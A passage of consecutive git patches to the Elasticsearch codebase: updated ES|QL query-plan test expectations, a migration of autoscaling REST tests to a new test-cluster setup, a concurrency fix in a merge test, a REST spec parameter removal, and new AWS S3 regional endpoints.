+     *                   {"geo_shape":{"location":{"relation":"DISJOINT","shape":
+     *                   {"type":"Circle","radius":"10000.000000000002m","coordinates":[12.565,55.673]}}}}
+     *                   ],"boost":1.0}}],"boost":1.0}}][_doc{f}#4875], limit[], sort[] estimatedRowSize[87]
      * </code>
      */
     public void testPushTopNDistanceAndNonPushableEvalWithCompoundFilterToSource() {
@@ -6179,9 +6198,9 @@ public void testPushTopNDistanceAndNonPushableEvalWithCompoundFilterToSource() {
         var exchange = asRemoteExchange(topN.child());
 
         project = as(exchange.child(), ProjectExec.class);
-        assertThat(names(project.projections()), contains("abbrev", "name", "location", "country", "city", "scalerank", "distance"));
+        assertThat(names(project.projections()), contains("abbrev", "city", "country", "location", "name", "scalerank", "distance"));
         var extract = as(project.child(), FieldExtractExec.class);
-        assertThat(names(extract.attributesToExtract()), contains("abbrev", "name", "country", "city"));
+        assertThat(names(extract.attributesToExtract()), contains("abbrev", "city", "country", "name"));
         var topNChild = as(extract.child(), TopNExec.class);
         extract = as(topNChild.child(), FieldExtractExec.class);
         assertThat(names(extract.attributesToExtract()), contains("scalerank"));
@@ -6216,27 +6235,25 @@ public void testPushTopNDistanceAndNonPushableEvalWithCompoundFilterToSource() {
     /**
      * This test shows that if the filter contains a predicate on the same field that is sorted, we cannot push down the sort.
      * <code>
-     * ProjectExec[[abbrev{f}#23, name{f}#24, location{f}#27, country{f}#28, city{f}#29, scale{r}#10]]
-     * \_TopNExec[[Order[distance{r}#4,ASC,LAST], Order[scale{r}#10,ASC,LAST]],5[INTEGER],0]
-     *   \_ExchangeExec[[abbrev{f}#23, name{f}#24, location{f}#27, country{f}#28, city{f}#29, scale{r}#10, distance{r}#4],false]
-     *     \_ProjectExec[[abbrev{f}#23, name{f}#24, location{f}#27, country{f}#28, city{f}#29, scale{r}#10, distance{r}#4]]
-     *       \_FieldExtractExec[abbrev{f}#23, name{f}#24, country{f}#28, city{f}#29][]
-     *         \_TopNExec[[Order[distance{r}#4,ASC,LAST], Order[scale{r}#10,ASC,LAST]],5[INTEGER],208]
-     *           \_FilterExec[
-     *               SUBSTRING(position{r}#7,1[INTEGER],5[INTEGER]) == [50 4f 49 4e 54][KEYWORD]
-     *               AND scale{r}#10 &gt; 3[INTEGER]
-     *             ]
-     *             \_EvalExec[[
-     *                 STDISTANCE(location{f}#27,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT]) AS distance,
-     *                 TOSTRING(location{f}#27) AS position,
-     *                 10[INTEGER] - scalerank{f}#25 AS scale
-     *               ]]
-     *               \_FieldExtractExec[location{f}#27, scalerank{f}#25][]
-     *                 \_EsQueryExec[airports], indexMode[standard], query[{
-     *                   "bool":{"must":[
-     *                     {"geo_shape":{"location":{"relation":"INTERSECTS","shape":{...}}}},
-     *                     {"geo_shape":{"location":{"relation":"DISJOINT","shape":{...}}}}
-     *                   ],"boost":1.0}}][_doc{f}#42], limit[], sort[] estimatedRowSize[91]
+     *ProjectExec[[abbrev{f}#1447, name{f}#1448, location{f}#1451, country{f}#1452, city{f}#1453, scalerank{r}#1434]]
+     * \_TopNExec[[Order[distance{r}#1428,ASC,LAST], Order[scalerank{r}#1434,ASC,LAST]],5[INTEGER],233]
+     *   \_ExchangeExec[[abbrev{f}#1447, city{f}#1453, country{f}#1452, location{f}#1451, name{f}#1448, distance{r}#1428, scalerank{r}
+     * #1434],false]
+     *     \_ProjectExec[[abbrev{f}#1447, city{f}#1453, country{f}#1452, location{f}#1451, name{f}#1448, distance{r}#1428, scalerank{r}
+     * #1434]]
+     *       \_FieldExtractExec[abbrev{f}#1447, city{f}#1453, country{f}#1452, name..]&lt;[],[]&gt;
+     *         \_TopNExec[[Order[distance{r}#1428,ASC,LAST], Order[scalerank{r}#1434,ASC,LAST]],5[INTEGER],303]
+     *           \_FilterExec[SUBSTRING(position{r}#1431,1[INTEGER],5[INTEGER]) == POINT[KEYWORD] AND scalerank{r}#1434 > 3[INTEGER]]
+     *             \_EvalExec[[STDISTANCE(location{f}#1451,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT]) AS distan
+     * ce#1428, TOSTRING(location{f}#1451) AS position#1431, 10[INTEGER] - scalerank{f}#1449 AS scalerank#1434]]
+     *               \_FieldExtractExec[location{f}#1451, scalerank{f}#1449]&lt;[],[]&gt;
+     *                 \_EsQueryExec[airports], indexMode[standard], query[
+     *                 {"bool":{"must":[
+     *                 {"geo_shape":{"location":{"relation":"INTERSECTS","shape":
+     *                 {"type":"Circle","radius":"499999.99999999994m","coordinates":[12.565,55.673]}}}},
+     *                 {"geo_shape":{"location":{"relation":"DISJOINT","shape":
+     *                 {"type":"Circle","radius":"10000.000000000002m","coordinates":[12.565,55.673]}}}}
+     *                 ],"boost":1.0}}][_doc{f}#1466], limit[], sort[] estimatedRowSize[91]
      * </code>
      */
     public void testPushTopNDistanceAndNonPushableEvalsWithCompoundFilterToSource() {
@@ -6255,9 +6272,9 @@ public void testPushTopNDistanceAndNonPushableEvalsWithCompoundFilterToSource()
         var exchange = asRemoteExchange(topN.child());
 
         project = as(exchange.child(), ProjectExec.class);
-        assertThat(names(project.projections()), contains("abbrev", "name", "location", "country", "city", "scalerank", "distance"));
+        assertThat(names(project.projections()), contains("abbrev", "city", "country", "location", "name", "distance", "scalerank"));
         var extract = as(project.child(), FieldExtractExec.class);
-        assertThat(names(extract.attributesToExtract()), contains("abbrev", "name", "country", "city"));
+        assertThat(names(extract.attributesToExtract()), contains("abbrev", "city", "country", "name"));
         var topNChild = as(extract.child(), TopNExec.class);
         var filter = as(topNChild.child(), FilterExec.class);
         assertThat(filter.condition(), isA(And.class));
@@ -6332,9 +6349,9 @@ public void testPushTopNDistanceWithCompoundFilterToSourceAndDisjunctiveNonPusha
         var exchange = asRemoteExchange(topN.child());
 
         project = as(exchange.child(), ProjectExec.class);
-        assertThat(names(project.projections()), contains("abbrev", "name", "location", "country", "city", "scalerank", "distance"));
+        assertThat(names(project.projections()), contains("abbrev", "city", "country", "location", "name", "scalerank", "distance"));
         var extract = as(project.child(), FieldExtractExec.class);
-        assertThat(names(extract.attributesToExtract()), contains("abbrev", "name", "country", "city"));
+        assertThat(names(extract.attributesToExtract()), contains("abbrev", "city", "country", "name"));
         var topNChild = as(extract.child(), TopNExec.class);
         var filter = as(topNChild.child(), FilterExec.class);
         assertThat(filter.condition(), isA(Or.class));
@@ -6361,28 +6378,29 @@ public void testPushTopNDistanceWithCompoundFilterToSourceAndDisjunctiveNonPusha
 
     /**
      * <code>
-     * ProjectExec[[abbrev{f}#15, name{f}#16, location{f}#19, country{f}#20, city{f}#21]]
-     * \_TopNExec[[Order[scalerank{f}#17,ASC,LAST], Order[distance{r}#4,ASC,LAST]],15[INTEGER],0]
-     *   \_ExchangeExec[[abbrev{f}#15, name{f}#16, location{f}#19, country{f}#20, city{f}#21, scalerank{f}#17, distance{r}#4],false]
-     *     \_ProjectExec[[abbrev{f}#15, name{f}#16, location{f}#19, country{f}#20, city{f}#21, scalerank{f}#17, distance{r}#4]]
-     *       \_FieldExtractExec[abbrev{f}#15, name{f}#16, country{f}#20, city{f}#21, ..][]
-     *         \_EvalExec[[STDISTANCE(location{f}#19,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT])
-     *           AS distance]]
-     *           \_FieldExtractExec[location{f}#19][]
-     *             \_EsQueryExec[airports], indexMode[standard], query[{
-     *               "bool":{
-     *                 "filter":[
-     *                   {"esql_single_value":{"field":"scalerank",...,"source":"scalerank lt 6@3:31"}},
-     *                   {"bool":{"must":[
-     *                     {"geo_shape":{"location":{"relation":"INTERSECTS","shape":{...}}}},
-     *                     {"geo_shape":{"location":{"relation":"DISJOINT","shape":{...}}}}
-     *                   ],"boost":1.0}}
-     *                 ],"boost":1.0
-     *               }
-     *             }][_doc{f}#32], limit[], sort[[
-     *               FieldSort[field=scalerank{f}#17, direction=ASC, nulls=LAST],
-     *               GeoDistanceSort[field=location{f}#19, direction=ASC, lat=55.673, lon=12.565]
-     *             ]] estimatedRowSize[37]
+     * ProjectExec[[abbrev{f}#6090, name{f}#6091, location{f}#6094, country{f}#6095, city{f}#6096]]
+     * \_TopNExec[[Order[scalerank{f}#6092,ASC,LAST], Order[distance{r}#6079,ASC,LAST]],15[INTEGER],233]
+     *   \_ExchangeExec[[abbrev{f}#6090, city{f}#6096, country{f}#6095, location{f}#6094, name{f}#6091, scalerank{f}#6092, distance{r}
+     * #6079],false]
+     *     \_ProjectExec[[abbrev{f}#6090, city{f}#6096, country{f}#6095, location{f}#6094, name{f}#6091, scalerank{f}#6092, distance{r}
+     * #6079]]
+     *       \_FieldExtractExec[abbrev{f}#6090, city{f}#6096, country{f}#6095, name..]&lt;[],[]&gt;
+     *         \_EvalExec[[STDISTANCE(location{f}#6094,[1 1 0 0 0 e1 7a 14 ae 47 21 29 40 a0 1a 2f dd 24 d6 4b 40][GEO_POINT]) AS distan
+     * ce#6079]]
+     *           \_FieldExtractExec[location{f}#6094]&lt;[],[]&gt;
+     *             \_EsQueryExec[airports], indexMode[standard], query[
+     *             {"bool":{"filter":[
+     *             {"esql_single_value":{"field":"scalerank","next":{"range":
+     *             {"scalerank":{"lt":6,"boost":0.0}}},"source":"scalerank &lt; 6@3:31"}},
+     *             {"bool":{"must":[
+     *             {"geo_shape": {"location":{"relation":"INTERSECTS","shape":
+     *             {"type":"Circle","radius":"499999.99999999994m","coordinates":[12.565,55.673]}}}},
+     *             {"geo_shape":{"location":{"relation":"DISJOINT","shape":
+     *             {"type":"Circle","radius":"10000.000000000002m","coordinates":[12.565,55.673]}}}}
+     *             ],"boost":1.0}}],"boost":1.0}}
+     *             ][_doc{f}#6107], limit[15], sort[
+     *             [FieldSort[field=scalerank{f}#6092, direction=ASC, nulls=LAST],
+     *             GeoDistanceSort[field=location{f}#6094, direction=ASC, lat=55.673, lon=12.565]]] estimatedRowSize[249]
      * </code>
      */
     public void testPushCompoundTopNDistanceWithCompoundFilterToSource() {
@@ -6401,9 +6419,9 @@ public void testPushCompoundTopNDistanceWithCompoundFilterToSource() {
         var exchange = asRemoteExchange(topN.child());
 
         project = as(exchange.child(), ProjectExec.class);
-        assertThat(names(project.projections()), contains("abbrev", "name", "location", "country", "city", "scalerank", "distance"));
+        assertThat(names(project.projections()), contains("abbrev", "city", "country", "location", "name", "scalerank", "distance"));
         var extract = as(project.child(), FieldExtractExec.class);
-        assertThat(names(extract.attributesToExtract()), contains("abbrev", "name", "country", "city", "scalerank"));
+        assertThat(names(extract.attributesToExtract()), contains("abbrev", "city", "country", "name", "scalerank"));
         var evalExec = as(extract.child(), EvalExec.class);
         var alias = as(evalExec.fields().get(0), Alias.class);
         assertThat(alias.name(), is("distance"));
@@ -8041,7 +8059,7 @@ public void testNotEqualsPushdownToDelegate() {
      *              ges{f}#5, last_name{f}#6, long_noidx{f}#12, salary{f}#7],false]
      *      \_ProjectExec[[_meta_field{f}#8, emp_no{f}#2, first_name{f}#3, gender{f}#4, hire_date{f}#9, job{f}#10, job.raw{f}#11, langua
      *              ges{f}#5, last_name{f}#6, long_noidx{f}#12, salary{f}#7]]
-     *        \_FieldExtractExec[_meta_field{f}#8, emp_no{f}#2, first_name{f}#3, gen..]<[],[]>
+     *        \_FieldExtractExec[_meta_field{f}#8, emp_no{f}#2, first_name{f}#3, gen..]&lt;[],[]&gt;
      *          \_EsQueryExec[test], indexMode[standard],
      *                  query[{"bool":{"filter":[{"sampling":{"probability":0.1,"seed":234,"hash":0}}],"boost":1.0}}]
      *                  [_doc{f}#24], limit[1000], sort[] estimatedRowSize[332]

From de922718adffce75dd85964195ee6a189988252d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Lorenzo=20Dematt=C3=A9?= <lorenzo.dematte@elastic.co>
Date: Thu, 17 Jul 2025 12:46:05 +0200
Subject: [PATCH 176/299] Migrate x-pack-autoscaling REST tests (#131365)
 (#131423)

This PR migrates legacy rest tests in the x-pack autoscaling module
---
 .../internal/RestrictedBuildApiService.java   |  2 --
 x-pack/plugin/autoscaling/build.gradle        | 23 +++++++++------
 x-pack/plugin/autoscaling/qa/build.gradle     |  0
 .../plugin/autoscaling/qa/rest/build.gradle   | 28 -------------------
 .../xpack/autoscaling/AutoscalingRestIT.java  | 19 +++++++++++--
 .../resources}/autoscaling-roles.yml          |  0
 .../autoscaling/delete_autoscaling_policy.yml |  0
 .../autoscaling/get_autoscaling_capacity.yml  |  0
 .../autoscaling/get_autoscaling_policy.yml    |  0
 .../autoscaling/put_autoscaling_policy.yml    |  0
 10 files changed, 32 insertions(+), 40 deletions(-)
 delete mode 100644 x-pack/plugin/autoscaling/qa/build.gradle
 delete mode 100644 x-pack/plugin/autoscaling/qa/rest/build.gradle
 rename x-pack/plugin/autoscaling/{qa/rest => }/src/yamlRestTest/java/org/elasticsearch/xpack/autoscaling/AutoscalingRestIT.java (67%)
 rename x-pack/plugin/autoscaling/{qa/rest => src/yamlRestTest/resources}/autoscaling-roles.yml (100%)
 rename x-pack/plugin/autoscaling/{qa/rest => }/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/delete_autoscaling_policy.yml (100%)
 rename x-pack/plugin/autoscaling/{qa/rest => }/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/get_autoscaling_capacity.yml (100%)
 rename x-pack/plugin/autoscaling/{qa/rest => }/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/get_autoscaling_policy.yml (100%)
 rename x-pack/plugin/autoscaling/{qa/rest => }/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/put_autoscaling_policy.yml (100%)

diff --git a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/RestrictedBuildApiService.java b/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/RestrictedBuildApiService.java
index 4f3c4b3d94f68..205930133156c 100644
--- a/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/RestrictedBuildApiService.java
+++ b/build-tools-internal/src/main/java/org/elasticsearch/gradle/internal/RestrictedBuildApiService.java
@@ -56,8 +56,6 @@ private static ListMultimap<Class<?>, String> createLegacyRestTestBasePluginUsag
         map.put(LegacyRestTestBasePlugin.class, ":x-pack:qa:third-party:jira");
         map.put(LegacyRestTestBasePlugin.class, ":x-pack:qa:third-party:pagerduty");
         map.put(LegacyRestTestBasePlugin.class, ":x-pack:qa:third-party:slack");
-        map.put(LegacyRestTestBasePlugin.class, ":x-pack:plugin:async-search:qa:rest");
-        map.put(LegacyRestTestBasePlugin.class, ":x-pack:plugin:autoscaling:qa:rest");
         map.put(LegacyRestTestBasePlugin.class, ":x-pack:plugin:deprecation:qa:early-deprecation-rest");
         map.put(LegacyRestTestBasePlugin.class, ":x-pack:plugin:deprecation:qa:rest");
         map.put(LegacyRestTestBasePlugin.class, ":x-pack:plugin:downsample:qa:with-security");
diff --git a/x-pack/plugin/autoscaling/build.gradle b/x-pack/plugin/autoscaling/build.gradle
index 24400a0fc418e..22a43654fd602 100644
--- a/x-pack/plugin/autoscaling/build.gradle
+++ b/x-pack/plugin/autoscaling/build.gradle
@@ -1,5 +1,6 @@
 apply plugin: 'elasticsearch.internal-es-plugin'
 apply plugin: 'elasticsearch.internal-cluster-test'
+apply plugin: 'elasticsearch.internal-yaml-rest-test'
 
 esplugin {
   name = 'x-pack-autoscaling'
@@ -15,15 +16,21 @@ base {
 
 dependencies {
   compileOnly project(path: xpackModule('core'))
-  testImplementation(testArtifact(project(xpackModule('core'))))
-  testImplementation project(':modules:data-streams')
-  testImplementation project(path: xpackModule('blob-cache'))
-  testImplementation project(path: xpackModule('searchable-snapshots'))
-  testImplementation project(path: xpackModule('ilm'))
-  testImplementation project(path: xpackModule('slm'))
-  testImplementation project(path: xpackModule('ccr'))
 
+  testImplementation testArtifact(project(':server'))
+  testImplementation testArtifact(project(xpackModule('core')))
   testImplementation "com.fasterxml.jackson.core:jackson-databind:${versions.jackson}"
+
+  internalClusterTestImplementation project(':modules:data-streams')
+  internalClusterTestImplementation project(xpackModule('blob-cache'))
+  internalClusterTestImplementation project(xpackModule("searchable-snapshots"))
+  internalClusterTestImplementation project(xpackModule('ilm'))
+  internalClusterTestImplementation project(xpackModule('slm'))
+  internalClusterTestImplementation project(xpackModule('ccr'))
 }
 
-addQaCheckDependencies(project)
+restResources {
+  restApi {
+    include '_common', 'autoscaling'
+  }
+}
diff --git a/x-pack/plugin/autoscaling/qa/build.gradle b/x-pack/plugin/autoscaling/qa/build.gradle
deleted file mode 100644
index e69de29bb2d1d..0000000000000
diff --git a/x-pack/plugin/autoscaling/qa/rest/build.gradle b/x-pack/plugin/autoscaling/qa/rest/build.gradle
deleted file mode 100644
index 903e76fd986cf..0000000000000
--- a/x-pack/plugin/autoscaling/qa/rest/build.gradle
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
- * or more contributor license agreements. Licensed under the Elastic License
- * 2.0; you may not use this file except in compliance with the Elastic License
- * 2.0.
- */
-
-apply plugin: 'elasticsearch.legacy-yaml-rest-test'
-apply plugin: 'elasticsearch.legacy-yaml-rest-compat-test'
-
-dependencies {
-  yamlRestTestImplementation(testArtifact(project(xpackModule('core'))))
-}
-
-restResources {
-  restApi {
-    include '_common', 'autoscaling'
-  }
-}
-
-testClusters.configureEach {
-  testDistribution = 'DEFAULT'
-  setting 'xpack.security.enabled', 'true'
-  setting 'xpack.license.self_generated.type', 'trial'
-  extraConfigFile 'roles.yml', file('autoscaling-roles.yml')
-  user username: 'autoscaling-admin', password: 'autoscaling-admin-password', role: 'superuser'
-  user username: 'autoscaling-user', password: 'autoscaling-user-password', role: 'autoscaling'
-}
diff --git a/x-pack/plugin/autoscaling/qa/rest/src/yamlRestTest/java/org/elasticsearch/xpack/autoscaling/AutoscalingRestIT.java b/x-pack/plugin/autoscaling/src/yamlRestTest/java/org/elasticsearch/xpack/autoscaling/AutoscalingRestIT.java
similarity index 67%
rename from x-pack/plugin/autoscaling/qa/rest/src/yamlRestTest/java/org/elasticsearch/xpack/autoscaling/AutoscalingRestIT.java
rename to x-pack/plugin/autoscaling/src/yamlRestTest/java/org/elasticsearch/xpack/autoscaling/AutoscalingRestIT.java
index 89bc24ecc1ed0..15bef71fe1ea5 100644
--- a/x-pack/plugin/autoscaling/qa/rest/src/yamlRestTest/java/org/elasticsearch/xpack/autoscaling/AutoscalingRestIT.java
+++ b/x-pack/plugin/autoscaling/src/yamlRestTest/java/org/elasticsearch/xpack/autoscaling/AutoscalingRestIT.java
@@ -12,13 +12,24 @@
 import org.elasticsearch.common.settings.SecureString;
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.common.util.concurrent.ThreadContext;
+import org.elasticsearch.test.cluster.ElasticsearchCluster;
+import org.elasticsearch.test.cluster.util.resource.Resource;
 import org.elasticsearch.test.rest.yaml.ClientYamlTestCandidate;
 import org.elasticsearch.test.rest.yaml.ESClientYamlSuiteTestCase;
-
-import static org.elasticsearch.xpack.core.security.authc.support.UsernamePasswordToken.basicAuthHeaderValue;
+import org.junit.ClassRule;
 
 public class AutoscalingRestIT extends ESClientYamlSuiteTestCase {
 
+    @ClassRule
+    public static ElasticsearchCluster cluster = ElasticsearchCluster.local()
+        .module("x-pack-autoscaling")
+        .setting("xpack.security.enabled", "true")
+        .setting("xpack.license.self_generated.type", "trial")
+        .rolesFile(Resource.fromClasspath("autoscaling-roles.yml"))
+        .user("autoscaling-admin", "autoscaling-admin-password", "superuser", false)
+        .user("autoscaling-user", "autoscaling-user-password", "autoscaling", false)
+        .build();
+
     public AutoscalingRestIT(final ClientYamlTestCandidate testCandidate) {
         super(testCandidate);
     }
@@ -40,4 +51,8 @@ protected Settings restClientSettings() {
         return Settings.builder().put(ThreadContext.PREFIX + ".Authorization", value).build();
     }
 
+    @Override
+    protected String getTestRestCluster() {
+        return cluster.getHttpAddresses();
+    }
 }
diff --git a/x-pack/plugin/autoscaling/qa/rest/autoscaling-roles.yml b/x-pack/plugin/autoscaling/src/yamlRestTest/resources/autoscaling-roles.yml
similarity index 100%
rename from x-pack/plugin/autoscaling/qa/rest/autoscaling-roles.yml
rename to x-pack/plugin/autoscaling/src/yamlRestTest/resources/autoscaling-roles.yml
diff --git a/x-pack/plugin/autoscaling/qa/rest/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/delete_autoscaling_policy.yml b/x-pack/plugin/autoscaling/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/delete_autoscaling_policy.yml
similarity index 100%
rename from x-pack/plugin/autoscaling/qa/rest/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/delete_autoscaling_policy.yml
rename to x-pack/plugin/autoscaling/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/delete_autoscaling_policy.yml
diff --git a/x-pack/plugin/autoscaling/qa/rest/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/get_autoscaling_capacity.yml b/x-pack/plugin/autoscaling/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/get_autoscaling_capacity.yml
similarity index 100%
rename from x-pack/plugin/autoscaling/qa/rest/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/get_autoscaling_capacity.yml
rename to x-pack/plugin/autoscaling/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/get_autoscaling_capacity.yml
diff --git a/x-pack/plugin/autoscaling/qa/rest/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/get_autoscaling_policy.yml b/x-pack/plugin/autoscaling/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/get_autoscaling_policy.yml
similarity index 100%
rename from x-pack/plugin/autoscaling/qa/rest/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/get_autoscaling_policy.yml
rename to x-pack/plugin/autoscaling/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/get_autoscaling_policy.yml
diff --git a/x-pack/plugin/autoscaling/qa/rest/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/put_autoscaling_policy.yml b/x-pack/plugin/autoscaling/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/put_autoscaling_policy.yml
similarity index 100%
rename from x-pack/plugin/autoscaling/qa/rest/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/put_autoscaling_policy.yml
rename to x-pack/plugin/autoscaling/src/yamlRestTest/resources/rest-api-spec/test/autoscaling/put_autoscaling_policy.yml

From 59b465b8de2e7f2832cb3dbbc43aea09063f59af Mon Sep 17 00:00:00 2001
From: Iraklis Psaroudakis <kingherc@gmail.com>
Date: Thu, 17 Jul 2025 14:59:27 +0300
Subject: [PATCH 177/299] Fix concurrent list in merge test (#131186) (#131433)

Relates #131165
---
 .../ThreadPoolMergeExecutorServiceDiskSpaceTests.java       | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceDiskSpaceTests.java b/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceDiskSpaceTests.java
index 33a86ef5709ad..9f34c56cf041e 100644
--- a/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceDiskSpaceTests.java
+++ b/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceDiskSpaceTests.java
@@ -14,6 +14,7 @@
 import org.elasticsearch.common.settings.ClusterSettings;
 import org.elasticsearch.common.settings.Settings;
 import org.elasticsearch.common.unit.ByteSizeValue;
+import org.elasticsearch.common.util.concurrent.ConcurrentCollections;
 import org.elasticsearch.common.util.concurrent.EsExecutors;
 import org.elasticsearch.core.PathUtils;
 import org.elasticsearch.core.PathUtilsForTesting;
@@ -40,6 +41,7 @@
 import java.util.IdentityHashMap;
 import java.util.LinkedHashSet;
 import java.util.List;
+import java.util.Set;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.Executor;
 import java.util.concurrent.TimeUnit;
@@ -898,8 +900,8 @@ public void testEnqueuedMergeTasksAreUnblockedWhenEstimatedMergeSizeChanges() th
             assertBusy(
                 () -> assertThat(threadPoolMergeExecutorService.getDiskSpaceAvailableForNewMergeTasks(), is(expectedAvailableBudget.get()))
             );
-            List<ThreadPoolMergeScheduler.MergeTask> tasksRunList = new ArrayList<>();
-            List<ThreadPoolMergeScheduler.MergeTask> tasksAbortList = new ArrayList<>();
+            Set<ThreadPoolMergeScheduler.MergeTask> tasksRunList = ConcurrentCollections.newConcurrentSet();
+            Set<ThreadPoolMergeScheduler.MergeTask> tasksAbortList = ConcurrentCollections.newConcurrentSet();
             int submittedMergesCount = randomIntBetween(1, 5);
             long[] mergeSizeEstimates = new long[submittedMergesCount];
             for (int i = 0; i < submittedMergesCount; i++) {

From 7af73ab8f586b18e24903f7ceb79fd97e7ea199c Mon Sep 17 00:00:00 2001
From: Quentin Pradet <quentin.pradet@elastic.co>
Date: Thu, 17 Jul 2025 17:46:30 +0400
Subject: [PATCH 178/299] Remove 'index' from snapshot clear_cache query params
 (#131067) (#131436)

It's already part of the path parts, it's not useful to duplicate it in query
parameters.
---
 .../rest-api-spec/api/searchable_snapshots.clear_cache.json   | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/rest-api-spec/src/main/resources/rest-api-spec/api/searchable_snapshots.clear_cache.json b/rest-api-spec/src/main/resources/rest-api-spec/api/searchable_snapshots.clear_cache.json
index d2d7000195c04..8b39cdcb24218 100644
--- a/rest-api-spec/src/main/resources/rest-api-spec/api/searchable_snapshots.clear_cache.json
+++ b/rest-api-spec/src/main/resources/rest-api-spec/api/searchable_snapshots.clear_cache.json
@@ -50,10 +50,6 @@
         ],
         "default": "open",
         "description": "Whether to expand wildcard expression to concrete indices that are open, closed or both."
-      },
-      "index": {
-        "type": "list",
-        "description": "A comma-separated list of index name to limit the operation"
       }
     }
   }

From 5ee34764395a24b05dae497976c5efbe3d932f28 Mon Sep 17 00:00:00 2001
From: Yang Wang <yang.wang@elastic.co>
Date: Fri, 18 Jul 2025 01:24:57 +1000
Subject: [PATCH 179/299] Update regions_by_endpoint for AWS sdk upgrade.
 (#131400) (#131450)

Also add test to ensure the file has at least one entry for each region
so that it is easy to spot missing regions in future upgrades.

Relates: #131050 Resolves: #131392
---
 .../repositories/s3/regions_by_endpoint.txt      | 16 ++++++++++++++++
 .../s3/RegionFromEndpointGuesserTests.java       | 13 +++++++++++++
 2 files changed, 29 insertions(+)

diff --git a/modules/repository-s3/src/main/resources/org/elasticsearch/repositories/s3/regions_by_endpoint.txt b/modules/repository-s3/src/main/resources/org/elasticsearch/repositories/s3/regions_by_endpoint.txt
index 3fae5c314c10b..5ca027a5f4a13 100644
--- a/modules/repository-s3/src/main/resources/org/elasticsearch/repositories/s3/regions_by_endpoint.txt
+++ b/modules/repository-s3/src/main/resources/org/elasticsearch/repositories/s3/regions_by_endpoint.txt
@@ -6,6 +6,10 @@ ap-east-1          s3-fips.ap-east-1.amazonaws.com
 ap-east-1          s3-fips.dualstack.ap-east-1.amazonaws.com
 ap-east-1          s3.ap-east-1.amazonaws.com
 ap-east-1          s3.dualstack.ap-east-1.amazonaws.com
+ap-east-2          s3-fips.ap-east-2.amazonaws.com
+ap-east-2          s3-fips.dualstack.ap-east-2.amazonaws.com
+ap-east-2          s3.ap-east-2.amazonaws.com
+ap-east-2          s3.dualstack.ap-east-2.amazonaws.com
 ap-northeast-1     s3-fips.ap-northeast-1.amazonaws.com
 ap-northeast-1     s3-fips.dualstack.ap-northeast-1.amazonaws.com
 ap-northeast-1     s3.ap-northeast-1.amazonaws.com
@@ -56,6 +60,14 @@ aws-iso-b-global   s3-fips.aws-iso-b-global.sc2s.sgov.gov
 aws-iso-b-global   s3-fips.dualstack.aws-iso-b-global.sc2s.sgov.gov
 aws-iso-b-global   s3.aws-iso-b-global.sc2s.sgov.gov
 aws-iso-b-global   s3.dualstack.aws-iso-b-global.sc2s.sgov.gov
+aws-iso-e-global   s3-fips.aws-iso-e-global.cloud.adc-e.uk
+aws-iso-e-global   s3-fips.dualstack.aws-iso-e-global.cloud.adc-e.uk
+aws-iso-e-global   s3.aws-iso-e-global.cloud.adc-e.uk
+aws-iso-e-global   s3.dualstack.aws-iso-e-global.cloud.adc-e.uk
+aws-iso-f-global   s3-fips.aws-iso-f-global.csp.hci.ic.gov
+aws-iso-f-global   s3-fips.dualstack.aws-iso-f-global.csp.hci.ic.gov
+aws-iso-f-global   s3.aws-iso-f-global.csp.hci.ic.gov
+aws-iso-f-global   s3.dualstack.aws-iso-f-global.csp.hci.ic.gov
 aws-iso-global     s3-fips.aws-iso-global.c2s.ic.gov
 aws-iso-global     s3-fips.dualstack.aws-iso-global.c2s.ic.gov
 aws-iso-global     s3.aws-iso-global.c2s.ic.gov
@@ -76,6 +88,10 @@ cn-north-1         s3.cn-north-1.amazonaws.com.cn
 cn-north-1         s3.dualstack.cn-north-1.amazonaws.com.cn
 cn-northwest-1     s3.cn-northwest-1.amazonaws.com.cn
 cn-northwest-1     s3.dualstack.cn-northwest-1.amazonaws.com.cn
+eusc-de-east-1     s3-fips.eusc-de-east-1.amazonaws.eu
+eusc-de-east-1     s3-fips.dualstack.eusc-de-east-1.amazonaws.eu
+eusc-de-east-1     s3.eusc-de-east-1.amazonaws.eu
+eusc-de-east-1     s3.dualstack.eusc-de-east-1.amazonaws.eu
 eu-central-1       s3-fips.dualstack.eu-central-1.amazonaws.com
 eu-central-1       s3-fips.eu-central-1.amazonaws.com
 eu-central-1       s3.dualstack.eu-central-1.amazonaws.com
